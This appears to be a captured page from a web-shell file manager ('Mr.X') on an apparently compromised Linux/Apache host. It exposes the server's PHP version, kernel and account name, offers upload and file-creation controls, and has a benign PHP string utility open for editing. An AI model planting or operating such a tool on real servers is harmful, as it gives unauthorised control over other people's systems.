🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:StringUtil.php
<?php declare(strict_types=1); namespace TypistTech\Imposter; class StringUtil { public static function addTrailingSlash(string $string): string { return rtrim($string, '/\\') . '/'; } public static function ensureDoubleBackwardSlash(string $string): string { $parts = explode('\\', $string); $nonEmptyParts = array_filter($parts, function ($part) { return ! empty($part); }); return implode('\\\\', $nonEmptyParts) . '\\\\'; } }
Save Changes
Cancel
Create New File
Create New Folder